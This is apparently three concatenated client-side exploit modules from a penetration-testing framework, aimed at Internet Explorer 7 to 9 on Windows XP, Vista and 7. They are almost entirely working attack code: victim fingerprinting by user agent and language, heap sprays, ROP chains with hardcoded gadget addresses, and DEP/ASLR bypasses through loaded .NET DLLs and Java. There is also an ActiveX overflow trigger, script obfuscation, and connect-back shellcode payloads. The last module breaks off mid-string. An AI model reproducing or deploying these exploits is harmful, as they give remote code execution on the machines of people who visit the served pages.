class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS=["IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command"] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True # We default these to false self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False self.badstring='' # Shellcode is on heap or in dll #Randomise name for clientd self.filename="".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") # For IE7 .Net Shellcode self.pc = 0x44444444; return def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language)==type([]): language=language[0] # it's a list in actuality self.log("WP> language found: %s"%language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets,"-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() #self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self,'useSSLMOSDEF',False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host=self.target.interface self.filename=self.argsDict.get('filename',self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s'%(t,targets[t][0]) return def heapSpray(self,payload,heapspraycode): # This creates a heapspray of blocks that are 0x240000 (0x23f000 on Win7) in size # almost gauruntees that our spray block sits at 0xxxxx1000 or other 100 byte boundary heapprefix = wp_randomstring(220) # padding to 0x100 bytes script = """ memory = new Array(); var hs = unescape("HEAPSPRAYCODE"); while(hs.length < 0x11F600) hs += hs; hs = hs.substring(0, 0x11F600-DATALENGTH); hs = unescape("PREFIX") + hs + unescape("PAYLOAD"); try{ for(var i = 0; i < 400; i++) { memory[i]= hs.substring(0,hs.length); } } catch(err) {} """ script = script.replace('DATALENGTH',str( (0x100 + len(payload)) / 2 )) script = script.replace('HEAPSPRAYCODE',wp_urluencode(heapspraycode)) script = script.replace('PREFIX',wp_urluencode(heapprefix)) script = script.replace('PAYLOAD',wp_urluencode(payload)) #Obfuscate the script code if self.isClientD: self.log("WP> Running jsObfuscator") return self.jsObfuscator.obfuscate(script) else: return script def makefileWinXP(self,browser): # Exploit for Windows XP (DEP Bypass) landingAddress = 0x126A1004 heapspraycode = pack('<L', 0x77c1c04e) # RETN heapspraycode += pack('<L', landingAddress+4) # ptr heapspraycode += pack('<L', 0x77c1c04e) # RETN MSVCRT heapspraycode += pack('<L', 0x77c1c04e) # RETN heapspraycode += pack('<L', 0x77c1c04e) # RETN heapspraycode += pack('<L', 0x77c1f11d) # RETN 0C heapspraycode += pack('<L', 0x77c1c04e) # RETN heapspraycode += pack('<L', 0x77C3A634) # mov esp,ecx while len(heapspraycode) < (0x100-8): # Build out to 0x100 byte blocks heapspraycode += pack('<L', 0x77c1c04e) # RETN SLIDE heapspraycode += pack('<L', 0x77c1f11d) # RETN 0C POP over above data heapspraycode += pack('<L', 0x77c1c04e) # RETN depbypass = pack('<L', 0x77c1c04e) * 10 # buffer of ret slides depbypass += self.wp_UniversalDEPBypassWinXP_VP(len(self.shellcode)+8) # Set the payload payload = depbypass + wp_randomnops(4) + self.shellcode + ("\x00" * 100) #pad the payload out to 0x100 bytes payload += wp_randomstring(256 - (len(payload)%256)) filedata = """ <html> <script language="JavaScript"> """ # script heapspray code filedata += self.heapSpray(payload,heapspraycode) # Add the reset of the filedata filedata+=""" </SCRIPT> <object classid="clsid:3EEEBC9A-580F-46EF-81D9-55510266413D" id="target"></object> <script language='vbscript'> x="xxxx" y=String(1060, "A") + unescape("%04%10%6a%12") + String(100, "C") z=1 target.Resample x,y,z </script> </html> """ return filedata def makefileIE8_VistaWin7(self): # Exploit for IE 8 On Windows 7/Vista # This page loads a .Net DLL # mscorie .Net DLL ASLR/DEP Bypass landingAddress = 0x126A1004 heapspraycode = pack('<L', 0x63F05761) # RETN heapspraycode += pack('<L', landingAddress) # ptr heapspraycode += pack('<L', 0x63F0575B) # MSCORIE:(0x63f0575b XCHG EAX,ESP) heapspraycode += pack('<L', 0x63F01D9A) # POP ESI, RETN heapspraycode += pack('<L', 0x63F05761) # RETN heapspraycode += pack('<L', 0x63F05761) # RETN heapspraycode += pack('<L', 0x63F0237E) # MSCOREIE: CALL DWORD PTR DS:[ECX+4] while len(heapspraycode) < (0x100-8): # Build out to 0x100 byte blocks heapspraycode += pack('<L', 0x63F05761) # RETN SLIDE heapspraycode += pack('<L', 0x63F03E9B) # RETN 30 POP over above data heapspraycode += pack('<L', 0x63F05761) # RETN depbypass = pack('<L', 0x63F05761) * 12 # buffer of ret slides # depbypass using mscorie depbypass += self.wp_mscorieDEPBypass(len(self.shellcode)+104) # Set the payload payload = depbypass + wp_randomnops(4) + self.shellcode + ("\x00" * 100) #pad the payload out to 0x100 bytes payload += wp_randomstring(256 - (len(payload)%256)) filedata = """ <html> <object classid="OURDLL" height="0" width="0"></object> <script language="JavaScript"> """ # script heapspray code filedata += self.heapSpray(payload,heapspraycode) # Add the reset of the filedata filedata+=""" </SCRIPT> <object classid="clsid:3EEEBC9A-580F-46EF-81D9-55510266413D" id="target"></object> <script language='vbscript'> x="xxxx" y=String(1060, "A") + unescape("%04%10%6a%12") + String(100, "C") z=1 target.Resample x,y,z </script> </html> """ filedata = filedata.replace('OURDLL', self.filename.replace('.html','.dll')) return filedata def makefileIE7(self): # Exploit for IE 7 # Uses the old .Net 2.0 bypass ASLR method landingAddress = 0x126A1004 heapspraycode = pack('<L', landingAddress) # ptr heapspraycode += pack('<L', landingAddress) # ptr heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code while len(heapspraycode) < (0x100): # Build out to 0x100 byte blocks heapspraycode += pack('<L', 0x63F05761) # JUNK # Set the payload, payload is inside the loaded dll file payload = "" filedata = """ <html> <object classid="OURDLL#a.b" height="0" width="0"></object> <script language="JavaScript"> """ # script heapspray code filedata += self.heapSpray(payload,heapspraycode) # Add the reset of the filedata filedata+=""" </SCRIPT> <object classid="clsid:3EEEBC9A-580F-46EF-81D9-55510266413D" id="target"></object> <script language='vbscript'> x="xxxx" y=String(1060, "A") + unescape("%04%10%6a%12") + String(100, "C") z=1 target.Resample x,y,z </script> </html> """ filedata = filedata.replace('OURDLL', self.filename.replace('.html','.dll')) return filedata def makefile(self,browser,osversion): if osversion == "Windows XP": self.log('WP> Serving Windows XP exploit') return self.makefileWinXP(browser) if browser == "MSIE 8.0": self.log('WP> Serving MSIE 8.0 exploit') return self.makefileIE8_VistaWin7() if browser == "MSIE 7.0": self.log('WP> Serving MSIE 7.0 exploit') return self.makefileIE7() # Default to a non ASLR version self.log('WP> Serving Non ASLR Exploit') return self.makefileWinXP(browser) def makesploit(self,clientheader,clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header,body h=header('SERVER') b=body() self.log('WP> ****************************************') self.log("WP> URL Received: %s"%clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) # Get details browser,osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') #self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit html file') data=self.makefile(browser,osversion) if not data: return None,None b.setBody(data) h.addHeader('Content-Type','text/html') h.addHeader('Set-Cookie','SessionID=%d' % self.jsObfuscator.getXORKey()) elif (clientheader.URL.count('.dll')): if browser == "MSIE 7.0": self.log('WP> Serving IE7 .Net DLL file') self.vProtect = True # Needed for this type of payload p = PElib() data = p.createDotNETPEFileBuf(self.createShellcode(), self.pc) self.vProtect = False # Reset this else: self.log('WP> Serving IE8 .Net DLL file') p = PElib() data = p.createDotNETPEFileBuf("", self.pc) if not data: return None,None b.setBody(data) h.addHeader('Content-Type','application/octet-stream') else: self.log('WP> Redirecting to self') h.status='302' h.addHeader('Location',self.filename) h.addHeader('Content-Type','text/html') self.log('WP> ****************************************') return h,b def run(self): if (self.version == 0): filedata=self.makefile('','Windows XP') dlldata ="" elif (self.version ==1): filedata=self.makefile('MSIE 7.0','') self.vProtect = True # Needed for this type of payload p = PElib() dlldata = p.createDotNETPEFileBuf(self.createShellcode(), self.pc) self.vProtect = False # Reset this elif (self.version ==2): filedata=self.makefile('MSIE 8.0','') p = PElib() dlldata = p.createDotNETPEFileBuf("", self.pc) outputfile = wp_outputpath(self.filename) self.log("WP> Opening %s"%outputfile ) fd=file(outputfile,'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s'%outputfile) if dlldata != "": dllfile = wp_outputpath(self.filename.replace('html','dll')) # create the dll file f = open(dllfile,'wb') f.write(dlldata) f.flush() f.close self.log('WP> Created DLL file %s'%dllfile) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True # We default these to false self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False self.badstring = '' # Shellcode is on heap or in dll #Ranomisze name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") # For IE7 .Net Shellcode self.vProtect = True self.pc = 0x44444444 def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] # it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() #self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def heapSpray(self, payload, heapspraycode): # This creates a heapspray of blocks that are 0x240000 (0x23f000 on Win7) in size # almost gauruntees that our spray block sits at 0xxxxx1000 or other 100 byte boundary heapprefix = wp_randomstring(220) # padding to 0x100 bytes script = """ memory = new Array(); var hs = unescape("HEAPSPRAYCODE"); while(hs.length < 0x11F600) hs += hs; hs = hs.substring(0, 0x11F600-DATALENGTH); hs = unescape("PREFIX") + hs + unescape("PAYLOAD"); try{ for(var i = 0; i < 400; i++) { memory[i]= hs.substring(0,hs.length); } } catch(err) {} """ script = script.replace('DATALENGTH', str((0x100 + len(payload)) / 2)) script = script.replace('HEAPSPRAYCODE', wp_urluencode(heapspraycode)) script = script.replace('PREFIX', wp_urluencode(heapprefix)) script = script.replace('PAYLOAD', wp_urluencode(payload)) #Obfuscate the script code if self.isClientD: self.log("WP> Running jsObfuscator") return self.jsObfuscator.obfuscate(script) else: return script def makeTriggerIE8(self): filedata = """ mem = new Array(); var ptr = unescape("%u1414%u1414"); while(ptr.length < #SIZE#) { ptr += ptr; } ptr = ptr.slice(0, (#SIZE#)/2); for(var i = 0; i < 0x3000; i++) { mem[i]= ptr.substring(0,ptr.length);} for(var xi = 0; xi < 5; xi++) {document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>AAAAA</object>";} for(var i = 0; i < 0x3000; i++) {mem[i+0x3000]= ptr.substring(0,ptr.length); } document.body.innerHTML += "<a id='AAAAA' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >AAAAA</a>"; document.body.innerHTML += "Please wait for the page to load."; document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>111_AA</strong>"; </SCRIPT> </body> </html> """ filedata = filedata.replace("#SIZE#", "0xDA") return filedata def makefileIE8_VistaWin7(self, stage): # Exploit for IE 8 Windows 7/Vista # This page loads java and uses sayonara if stage == 1: # Load Java filedata = """ <object alt="Verify JRE Applet 2" classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" width="1" height="1"> <param name="type" value="application/x-java-applet" /> <param name="codebase" value="/jsp_utils/" /> <param name="code" value="jreVerify.class" /> <param name="jumpto" value="/en/download/installed.jsp?" /> <param name="pause" value="5000" /> </object> <script>document.location="/PAGE2"</script> """ filedata = filedata.replace( 'PAGE2', self.filename.replace('.html', '.2.html')) return filedata elif stage == 2: landingAddress = 0x14141414 heapspraycode = pack('<L', 0x7C341AF9) # RETN heapspraycode += pack('<L', 0x7C341AF9) * 5 # RETN heapspraycode += pack('<L', 0x7C341AF9) # RETN heapspraycode += pack('<L', 0x7C341A14) * 26 # RETN 4 heapspraycode += pack('<L', 0x7C34E7BA) # Stack/Heap Flip while len(heapspraycode) < ( 0x100): # Build out to 0x100 byte blocks heapspraycode += pack('<L', 0x7C341AF9) # RETN # depbypass using sayonara depbypass = self.wp_sayonaraASLRDEPBypass( (len(self.shellcode) + 104)) # Set the payload payload = depbypass + wp_randomnops(4) + self.shellcode + ("\x00" * 100) #pad the payload out to 0x100 bytes payload += wp_randomstring(256 - (len(payload) % 256)) filedata = """ <html> <body> <script language="JavaScript"> """ # script main heapspray code filedata += self.heapSpray(payload, heapspraycode) # Add the reset of the exploit trigger filedata += self.makeTriggerIE8() return filedata def makeTriggerIE7(self, amount="0x3000"): filedata = """ mem = new Array(); var ptr = unescape("%u1414%u1414"); while(ptr.length < #SIZE2#) { ptr += ptr; } ptr2 = ptr.slice(0, (#SIZE2#/2)); ptr = ptr.slice(0, (#SIZE#/2)); for(var i = 0; i < #AMOUNT#; i++) {mem[i]= ptr.substring(0,ptr.length); } for(var xi = 0; xi < 5; xi++) {document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>AAAAA</object>";} for(var i = 0; i < 0x5000; i++) {mem[i+0x1000]= ptr2.substring(0,ptr2.length); } document.body.innerHTML += "<a id='AAAAA' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >AAAAA</a>"; document.body.innerHTML += "Please wait for the page to load."; document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>111_AA</strong>"; </SCRIPT> </body> </html> """ filedata = filedata.replace("#SIZE#", "0xa8") filedata = filedata.replace("#SIZE2#", "0x112") filedata = filedata.replace("#AMOUNT#", amount) return filedata def makefileIE7(self, stage): # Exploit for Windows Vista IE 7 # .Net DLL ASLR/DEP Bypass if stage == 1: filedata = """ <html> <object classid="OURDLL#a.b" height="1" width="1"></object> <script>document.location="/PAGE2"</script> </html> """ #" filedata = filedata.replace('OURDLL', self.filename.replace('.html', '.dll')) filedata = filedata.replace( 'PAGE2', self.filename.replace('.html', '.2.html')) return filedata elif stage == 2: landingAddress = 0x14141414 heapspraycode = pack('<L', landingAddress) # ptr heapspraycode += pack('<L', landingAddress) # ptr heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code while len(heapspraycode) < ( 0x100): # Build out to 0x100 byte blocks heapspraycode += pack('<L', self.pc) # JUNK # Set the payload, payload is inside the loaded dll file payload = "" filedata = """ <html> <title>Loading</title> <body> <script language="JavaScript"> """ # script main heapspray code filedata += self.heapSpray(payload, heapspraycode) # Add the reset of the exploit trigger filedata += self.makeTriggerIE7() return filedata def makefileWinXP(self, browser): # Exploit for Windows XP (DEP Bypass) landingAddress = 0x14141414 if browser == "MSIE 8.0": heapspraycode = pack('<L', 0x77C21A57) # RETN heapspraycode += pack('<L', 0x77C21A57) * 5 # RETN heapspraycode += pack('<L', 0x77C21A57) # RETN heapspraycode += pack('<L', 0x77C214DF) * 26 # RETN 4 heapspraycode += pack('<L', 0x77C15ED5) # Stack/Heap Flip (EAX->ESP) while len(heapspraycode) < ( 0x100): # Build out to 0x100 byte blocks heapspraycode += pack('<L', 0x77C21A57) # RETN else: heapspraycode = pack('<L', 0x77C214DF) # RETN 4 heapspraycode += pack('<L', 0x77C21A57) # RETN heapspraycode += pack('<L', 0x77C15ED5) # Stack/Heap Flip (EAX->ESP) while len(heapspraycode) < ( 0x100): # Build out to 0x100 byte blocks heapspraycode += pack('<L', 0x77C21A57) # RETN # dep bypass depbypass = self.wp_UniversalDEPBypassWinXP_VP(len(self.shellcode) + 8) # Set the payload payload = depbypass + wp_randomnops(4) + self.shellcode + ("\x00" * 100) #pad the payload out to 0x100 bytes payload += wp_randomstring(256 - (len(payload) % 256)) filedata = """ <html> <body> <script language="JavaScript"> """ # script main heapspray code filedata += self.heapSpray(payload, heapspraycode) # Add the reset of the exploit trigger if browser == "MSIE 8.0": filedata += self.makeTriggerIE8() else: filedata += self.makeTriggerIE7("2500") return filedata def makefile(self, browser, osversion): if osversion == "Windows XP": self.log('WP> Serving Windows XP exploit') return self.makefileWinXP(browser) if browser == "MSIE 9.0": #self.log('WP> Serving MSIE 9.0 exploit') #return self.makefileIE8_VistaWin7(1) return "" if browser == "MSIE 8.0": self.log('WP> Serving MSIE 8.0 exploit') return self.makefileIE8_VistaWin7(1) if browser == "MSIE 7.0": self.log('WP> Serving MSIE 7.0 exploit') return self.makefileIE7(1) # Default to a non ASLR version self.log('WP> Serving Non ASLR Exploit') return self.makefileWinXP(browser) def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) cookies = clientheader.getStrValue(['Cookie']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') #self.log('WP> User agent of connecting host: %s' % user_agent) #self.log('WP> Cookies of connecting host: %s' % cookies) if clientheader.URL.count(self.filename): if cookies.count("SessionID"): self.log('WP> Exploit already sent to this client') self.log('WP> Returning blank page') data = "" else: self.log('WP> Serving exploit html file') data = self.makefile(browser, osversion) b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) elif (clientheader.URL.count('.dll')): p = PElib() if browser == "MSIE 7.0": self.log('WP> Serving IE7 .Net DLL file') self.vProtect = True # Needed for this type of payload data = p.createDotNETPEFileBuf(self.createShellcode(), self.pc) self.vProtect = False # Reset this else: self.log('WP> Serving IE8 .Net DLL file') data = p.createDotNETPEFileBuf("", self.pc) b.setBody(data) h.addHeader('Content-Type', 'application/octet-stream') elif (clientheader.URL.count('.2.html')): if cookies.count("SessionID2"): self.log('WP> Exploit already sent to this client') self.log('WP> Returning blank page') data = "" else: self.log('WP> Serving exploit secondary file') if browser == "MSIE 7.0": data = self.makefileIE7(2) else: data = self.makefileIE8_VistaWin7(2) b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID2=%d' % self.jsObfuscator.getXORKey()) elif (clientheader.URL.count('iexplore.exe.config')): self.log('WP> Returning blank page') b.setBody("") h.addHeader('Content-Type', 'text/html') elif (clientheader.URL.count('jreVerify.class')): self.log('WP> Returning blank page') b.setBody("") h.addHeader('Content-Type', 'text/html') elif (clientheader.URL.count('favicon.ico')): self.log('WP> Returning blank page') b.setBody("") h.addHeader('Content-Type', 'text/html') else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') self.log('WP> ****************************************') return h, b def run(self): if (self.version == 0): filedata = self.makefile('', 'Windows XP') elif (self.version == 1): filedata = self.makefile('MSIE 7', '') elif (self.version == 2): filedata = self.makefile('MSIE 8', '') self.log("WP> Opening %s" % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (self.filename)) return 1
class theexploit(wp_exploit, httpclientside): PAYLOADS = ["IE Inject Connect Back", "Execute Command"] DEFAULT_PAYLOAD = 0 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.encode_printable = True self.alignstack = True self.badstring = "\x00\x09\x0a\x0b\x0c\x0d\x22\x5c" self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" self.filename2 = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s' % (self.version, targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 self.wp_getShellcodeType() if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile(self, browser, osversion): if osversion == "Windows XP": if browser == "MSIE 8.0": self.log('WP> Serving Windows XP IE8 exploit') return self.makefileIE8_XP() if osversion == "Windows 7": if browser == "MSIE 8.0": self.log('WP> Serving MSIE 8.0 exploit') return self.makefileIE8_W7Vista() if browser == "MSIE 9.0": self.log('WP> Serving MSIE 9.0 exploit') return self.makefileIE9_W7Vista() if osversion == "Windows Vista": if browser == "MSIE 7.0": self.log('WP> Serving MSIE 7.0 exploit') return self.makefileIE7_Vista() if browser == "MSIE 8.0": self.log('WP> Serving MSIE 8.0 exploit') return self.makefileIE8_W7Vista() if browser == "MSIE 9.0": self.log('WP> Serving MSIE 9.0 exploit') return self.makefileIE9_W7Vista() self.log('WP> Invalid target') return def makefileIE7_Vista(self): payload = "\x8B\xE0" # MOV ESP,EAX payload += "\x83\xC4\x11" # ADD ESP,11 payload += self.shellcode payload += wp_randomstring((5120 - len(payload))) filedata = """<html> <head> <script>""" script = wp_clientside_HeapLib(padding="%u0c0c") script += """ var heap_obj = new heapLib.ie(0x20000); var nops = unescape("NOPS"); var code = unescape("SHELLCODE"); while (nops.length < 0x2000) nops += nops; var offset = nops.substring(0, 0x5FA); var shellcode = offset + code + nops.substring(0, 0x1000-code.length-offset.length); while (shellcode.length < 0x82000) shellcode += shellcode; var block = shellcode.substring(0, (0x82000-6)/2); heap_obj.gc(); for (var z=1; z < 0x300; z++) { heap_obj.alloc(block); } """ script = script.replace('SHELLCODE', wp_urluencode(payload)) script = script.replace('NOPS', wp_urluencode(pack('<L', 0x0c0c0c0c))) # Obfuscate the script code (disabled for this exploit) self.isClientD = False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """</script> <body> <script> var arrr = new Array(); arrr[0] = window.document.createElement("img"); arrr[0]["src"] = "%s"; </script> <iframe src="%s"></iframe> </body> </html> """ % (wp_randomstring(1), self.filename2) return filedata def makefileIE8_W7Vista(self): payload = pack('<L', 0x7C343BD9) # ret payload += pack('<L', 0x7C343BD8) # pop edx payload += pack('<L', 0x7C348B05) # xchg eax, esp payload += self.wp_sayonaraASLRDEPBypass(len(self.shellcode) + 8) payload += self.shellcode payload += wp_randomstring((5120 - len(payload))) filedata = """<html> <head> <script>""" script = wp_clientside_HeapLib(padding="%u0c0c") script += """ var heap_obj = new heapLib.ie(0x20000); var nops = unescape("NOPS"); var code = unescape("SHELLCODE"); while (nops.length < 0x2000) nops += nops; var offset = nops.substring(0, 0x5F4); var shellcode = offset + code + nops.substring(0, 0x1000-code.length-offset.length); while (shellcode.length < 0x80000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x300; z++) { heap_obj.alloc(block); } """ script = script.replace('SHELLCODE', wp_urluencode(payload)) script = script.replace('NOPS', wp_urluencode(pack('<L', 0x0c0c0c0c))) # Obfuscate the script code (disabled for this exploit) self.isClientD = False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """</script> <body> <script> var arrr = new Array(); arrr[0] = window.document.createElement("img"); arrr[0]["src"] = "%s"; </script> <iframe src="%s"></iframe> </body> </html> """ % (wp_randomstring(1), self.filename2) return filedata def makefileIE9_W7Vista(self): payload = pack('<L', 0x0c0c0c0c) payload += pack('<L', 0x7C343BD9) # ret payload += pack('<L', 0x7C343BD8) # pop edx payload += pack('<L', 0x7C348B05) # xchg eax, esp payload += self.wp_sayonaraASLRDEPBypass(len(self.shellcode) + 8) payload += self.shellcode payload += wp_randomstring((5120 - len(payload))) filedata = """<html> <head> <script>""" script = wp_clientside_HeapLib(padding="%u0c0c") script += """ function randomblock(blocksize){ var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x20000); var nops = unescape("NOPS"); var code = unescape("SHELLCODE"); while (nops.length < 0x80000) nops += nops; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x2000))); while (padding.length < 0x2000) padding+= padding; var junk_offset = padding.substring(0, 0x5FC); var single_sprayblock = junk_offset + code + nops.substring(0, 0x1000 - code.length - junk_offset.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } """ script = script.replace('SHELLCODE', wp_urluencode(payload)) script = script.replace('NOPS', wp_urluencode(pack('<L', 0x0c0c0c0c))) # Obfuscate the script code (disabled for this exploit) self.isClientD = False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """</script> <body> <script> var arrr = new Array(); arrr[0] = window.document.createElement("img"); arrr[0]["src"] = "%s"; </script> <iframe src="%s"></iframe> </body> </html> """ % (wp_randomstring(1), self.filename2) return filedata def makefileIE8_XP(self): payload = pack('<L', 0x77C3B861) payload += pack('<L', 0x77C3B860) payload += pack('<L', 0x77C3A891) payload += self.wp_UniversalDEPBypassWinXP_VP( len(self.shellcode) + 512) payload += self.shellcode # heap chunk = 4096 bytes, canvas sc's vary between < & > 4096 so we add padding to consistantly use two chunks per block payload += wp_randomstring((5120 - len(payload))) filedata = """<html> <head> <script>""" script = wp_clientside_HeapLib(padding="%u0c0c") #script code script += """ var heap_obj = new heapLib.ie(0x20000); var nops = unescape("NOPS"); var code = unescape("SHELLCODE"); while (nops.length < 0x2000) nops += nops; var offset = nops.substring(0, 0x5F4); var shellcode = offset + code + nops.substring(0, 0x1000-code.length-offset.length); while (shellcode.length < 0x80000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x300; z++) { heap_obj.alloc(block); } """ script = script.replace('SHELLCODE', wp_urluencode(payload)) script = script.replace('NOPS', wp_urluencode(pack('<L', 0x0c0c0c0c))) #Obfuscate the script code (disabled for this exploit) self.isClientD = False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script filedata += """</script> <body> <script> var arrr = new Array(); arrr[0] = window.document.createElement("img"); arrr[0]["src"] = 